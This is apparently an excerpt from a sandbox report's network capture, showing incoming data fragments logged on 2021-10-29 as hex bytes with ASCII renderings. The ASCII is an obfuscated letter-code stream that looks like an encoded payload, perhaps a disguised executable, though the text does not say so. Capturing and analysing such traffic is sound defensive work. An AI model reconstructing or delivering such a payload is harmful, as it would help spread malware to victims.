2021-10-29 18:10:39 UTC	1054	IN	Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 4d 4d 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 4d 4d 20 4f 20 Data Ascii: DW O DW O DW O DW O DW O DW O DW O DW O DW O EE O DW O DW O XD O DW O EJ O DW O EO O qOE O DW O XE O qqM O DW O Em O DW O XO O MM O DX O DW O DW O DX O mE O mE O WJ O DW O DW O XD O qqM O DD O qqJ O DW O Eq O WJ O DW O MO O DW O DD O qqX O DW O EJ O MM O
2021-10-29 18:10:39 UTC	1055	IN	Data Raw: 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 44 44 Data Ascii: O Xq O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O Em O Xq O DD O qqM O DD O qqW O DW O EO O qOE O DW O DE O Xq O DX O mE O DW O qqM O DW O DW O mE O mE O mp O DE O DW O EO O Ep O DW O qOO O Xq O DD
2021-10-29 18:10:39 UTC	1059	IN	Data Raw: 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f Data Ascii: O DD O mX O DW O Eq O qOp O DW O Ep O DW O DD O qqJ O DW O EJ O EE O DW O Ep O DW O DD O qqE O DW O Eq O WD O DW O qOO O DW O DW O qOp O DW O EJ O EE O DW O MM O DW O DD O qOX O DW O Eq O EE O DW O ME O Xq O DD O qOM O DW O Eq O qOE O DW O MO O Xq O DD O
2021-10-29 18:10:39 UTC	1063	IN	Data Raw: 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4a 71 20 4f 20 58 71 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 6d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 Data Ascii: W O EE O DW O qJq O Xq O DE O mX O DW O ED O XM O DW O DD O qqM O Xq O DW O DW O XO O mE O mE O qOm O Xq O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DX O DW O DW O EO O Xq O DM O Xq O DX O qOO O DW O Eq O qOE O D
2021-10-29 18:10:39 UTC	1064	IN	Data Raw: 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 Data Ascii: M O DW O DW O qOp O DW O Eq O EE O DW O MX O qqM O DD O qqD O DW O EJ O DW O DW O MX O qqM O DD O qJJ O DW O Eq O qOE O DW O qOO O DW O DD O qqJ O DW O Eq O WD O DW O MX O qOp O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW
2021-10-29 18:10:39 UTC	1069	IN	Data Raw: 20 44 57 20 4f 20 44 4d 20 4f 20 58 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4f 20 4f 20 44 57 20 4f 20 44 57 20 Data Ascii: DW O DM O XW O DD O Xq O Xq O DW O EM O DW O DW O mX O DM O DW O DW O DX O mE O mE O WJ O DW O DW O XW O qqM O DD O qOm O DW O EJ O XM O DW O MO O Xq O DW O qOp O DW O DM O EE O DW O MX O qqM O DD O qqE O DW O Eq O XM O DW O ME O Xq O DD O qqO O DW O DW
2021-10-29 18:10:39 UTC	1073	IN	Data Raw: 4f 70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 Data Ascii: Op O DD O qqJ O DW O Eq O XW O DW O qOO O qqM O DW O qJJ O DW O DX O Ep O DW O DW O DW O DW O DW O DW O DW O DW O DW O qJq O DW O qOD O Ep O qOp O DW O DW O DW O DW O DW O DW O EE O DW O DW O DW O DW O DW O DW O DX O XM O DW O EX O MM O DW O DW O DW O DW
2021-10-29 18:10:39 UTC	1077	IN	Data Raw: 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 Data Ascii: DW O DW O qOp O DW O Eq O DM O DW O MX O qOp O DD O qOE O DW O DE O DW O DW O Xm O Xq O DD O qqX O DW O EJ O XM O DW O MO O Xq O DW O qOp O DW O DM O Xq O DW O MX O qqM O DD O Wq O DW O Eq O WJ O DW O Ep O DW O DD O qOW O DW O EJ O XW O DW O qOO O DW O DD
2021-10-29 18:10:39 UTC	1081	IN	Data Raw: 20 57 4a 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 Data Ascii: WJ O DW O XM O qqM O DD O qOX O DW O Eq O Xq O DW O XW O qOp O DD O mM O DW O Eq O WJ O DW O Ep O DW O DD O DX O DW O Eq O WD O DW O MX O qOp O DD O qOM O DW O Eq O qOE O DW O MO O qqM O DW O qOp O DW O DM O XM O DW O ME O Xq O DD O qqW O DW O Eq O XW O
2021-10-29 18:10:39 UTC	1085	IN	Data Raw: 20 71 71 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 Data Ascii: qqW O DW O XW O qqM O DD O MO O DW O EO O EE O DW O XD O DW O DD O EO O DW O DM O mX O DW O Ep O DW O DD O XD O DW O EJ O EE O DW O MO O Xq O DD O qJq O DW O DD O qqM O DW O XD O Xq O DD O qJJ O DW O Eq O XW O DW O MM O qOp O DW O qOp O DW O Eq O WD O DW
2021-10-29 18:10:39 UTC	1089	IN	Data Raw: 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 4d 4d 20 4f 20 44 Data Ascii: O DW O MX O qqM O DD O qqE O DW O Eq O qqM O DW O qOq O Xq O DW O qOp O DW O EJ O Xq O DW O ME O DW O DD O qOX O DW O DE O DW O DW O MO O qOp O DD O qqX O DW O Eq O qqM O DW O MX O DW O DD O qqX O DW O EJ O MM O DW O ME O Xq O DD O qqE O DW O Eq O MM O D
2021-10-29 18:10:39 UTC	1093	IN	Data Raw: 4f 20 45 6d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 Data Ascii: O Em O DW O EO O MM O DW O ME O Xq O DD O qqE O DW O Eq O Xq O DW O MX O qqM O DD O Wq O DW O EJ O EE O DW O Ep O DW O DW O WJ O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O EO O DD O DD O DW O DW O DW O DW O DW O D
2021-10-29 18:10:39 UTC	1096	IN	Data Raw: 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 57 20 4f Data Ascii: q O DW O Ep O DW O EE O mX O DW O DW O DW O DW O XD O qOp O DD O Xm O DW O EO O WD O DW O XD O qOp O DD O EO O DW O EO O Ep O DW O XW O qqM O DD O Em O DW O DM O WD O DW O Xm O qOp O DD O qOJ O DW O DM O qOE O DW O Xm O qOp O DD O Eq O DW O DM O WD O DW O
2021-10-29 18:10:39 UTC	1101	IN	Data Raw: 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 Data Ascii: W O Eq O WJ O DW O ED O qOp O DD O qOX O DW O EJ O qOp O DW O MO O Xq O DW O DW O DW O DX O qOp O DW O DX O DW O DW O DD O DW O EO O DW O DW O MM O qOp O DD O qqX O DW O Eq O Xq O DW O qOO O Xq O DD O qOD O DW O EJ O Xq O DW O Xm O qOp O DD O qOm O DW O E
2021-10-29 18:10:39 UTC	1105	IN	Data Raw: 4a 20 4f 20 71 4f 6d 20 4f 20 71 71 44 20 4f 20 4d 58 20 4f 20 45 71 20 4f 20 57 70 20 4f 20 71 4a 4a 20 4f 20 58 4f 20 4f 20 58 70 20 4f 20 45 6d 20 4f 20 71 71 71 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 58 4a 20 4f 20 71 71 4d 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 71 71 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 6d 4d 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 71 4a 71 20 4f 20 57 70 20 4f 20 71 71 44 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 4d 4f 20 4f 20 71 71 4f 20 4f 20 58 71 20 4f 20 71 71 45 20 4f 20 58 4d 20 4f 20 57 4f 20 4f 20 57 45 20 4f 20 71 71 44 20 4f 20 45 44 20 4f Data Ascii: J O qOm O qqD O MX O Eq O Wp O qJJ O XO O Xp O Em O qqq O qOO O EJ O XJ O qqM O EM O qOW O WD O qqX O MM O WO O EX O qqq O MO O XE O mM O qOm O MM O qJq O Wp O qqD O ME O XE O EX O qJq O MX O Wq O EX O qqX O MO O qqO O Xq O qqE O XM O WO O WE O qqD O ED O
2021-10-29 18:10:39 UTC	1109	IN	Data Raw: 20 4f 20 58 4d 20 4f 20 71 4a 71 20 4f 20 6d 4d 20 4f 20 71 4f 45 20 4f 20 45 58 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 71 4f 45 20 4f 20 45 58 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 6d 58 20 4f 20 58 4d 20 4f 20 58 6d 20 4f 20 4d 4f 20 4f 20 71 4f 58 20 4f 20 45 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 6d 20 4f 20 57 45 20 4f 20 45 70 20 4f 20 71 4f 44 20 4f 20 57 4a 20 4f 20 57 44 20 4f 20 45 44 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 6d 4d 20 4f 20 4d 4d 20 4f 20 45 4a 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 4d 4d 20 4f 20 71 71 4f 20 4f 20 58 4a 20 4f 20 71 4f 58 20 4f 20 4d 4f 20 4f 20 44 4d 20 4f 20 57 45 20 4f 20 58 6d 20 4f 20 58 4f 20 4f 20 71 4f 70 20 4f 20 6d 58 20 4f 20 45 57 20 4f 20 44 45 20 4f 20 58 6d 20 4f 20 71 71 4d 20 4f 20 71 71 58 Data Ascii: O XM O qJq O mM O qOE O EX O qOD O qOX O qOE O EX O Eq O DM O mX O XM O Xm O MO O qOX O EE O qJJ O qOm O WE O Ep O qOD O WJ O WD O ED O Wq O EX O mM O MM O EJ O DD O qqX O MM O qqO O XJ O qOX O MO O DM O WE O Xm O XO O qOp O mX O EW O DE O Xm O qqM O qqX
2021-10-29 18:10:39 UTC	1113	IN	Data Raw: 4f 20 4f 20 45 71 20 4f 20 58 44 20 4f 20 71 4f 45 20 4f 20 45 45 20 4f 20 58 70 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 58 4d 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 44 4d 20 4f 20 71 4a 4f 20 4f 20 71 71 44 20 4f 20 58 6d 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 6d 58 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 45 70 20 4f 20 45 4f 20 4f 20 45 6d 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 58 70 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 58 4a 20 4f 20 71 4f 58 20 4f 20 45 70 20 4f 20 45 4f 20 4f 20 45 58 20 4f 20 71 71 4a 20 4f 20 4d 4f 20 4f 20 57 4f 20 4f 20 57 70 20 4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 71 Data Ascii: O O Eq O XD O qOE O EE O Xp O Xq O qqM O Ep O qOp O XM O DX O XD O Xq O Xq O DX O DM O qJO O qqD O Xm O MO O XE O EX O mX O ME O XE O qOO O qqX O Ep O EO O Em O Xm O Xq O Xp O DD O DX O MX O WO O XJ O qOX O Ep O EO O EX O qqJ O MO O WO O Wp O qqJ O MX O q
2021-10-29 18:10:39 UTC	1117	IN	Data Raw: 4f 20 44 44 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 45 45 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 58 4d 20 4f 20 45 6d 20 4f 20 58 4d 20 4f 20 45 70 20 4f 20 4d 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 57 70 20 4f 20 45 45 20 4f 20 44 58 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 45 58 Data Ascii: O DD O DD O Xq O XW O EJ O DW O qqM O EE O qqM O DM O Xq O XM O Em O XM O Ep O MO O Ep O DW O XM O MX O WJ O Xq O qOp O DM O DD O DD O DW O Xq O DX O DW O qOp O Xq O Xq O EE O DM O DW O Eq O DW O mM O XW O qOO O Ep O DW O Xq O Wp O EE O DX O MM O qqM O EX
2021-10-29 18:10:39 UTC	1121	IN	Data Raw: 57 20 4f 20 71 4f 4f 20 4f 20 71 71 71 20 4f 20 71 4f 45 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 57 70 20 4f 20 71 71 57 20 4f 20 71 4f 4d 20 4f 20 45 71 20 4f 20 45 58 20 4f 20 44 45 20 4f 20 44 45 20 4f 20 57 4a 20 4f 20 45 6d 20 4f 20 4d 4f 20 4f 20 57 45 20 4f 20 45 45 20 4f 20 57 45 20 4f 20 45 58 20 4f 20 71 71 70 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 45 71 20 4f 20 44 45 20 4f 20 58 70 20 4f 20 71 71 70 20 4f 20 45 71 20 4f 20 58 70 20 4f 20 45 70 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 45 70 20 4f 20 45 45 20 4f 20 58 71 20 4f 20 71 71 57 20 4f 20 71 Data Ascii: W O qOO O qqq O qOE O qOp O qqM O MX O Wp O qqW O qOM O Eq O EX O DE O DE O WJ O Em O MO O WE O EE O WE O EX O qqp O EE O DW O mX O Eq O DE O Xp O qqp O Eq O Xp O Ep O MX O Wq O DX O Xq O DM O DD O DX O DW O XW O DW O EE O Ep O Eq O Ep O EE O Xq O qqW O q
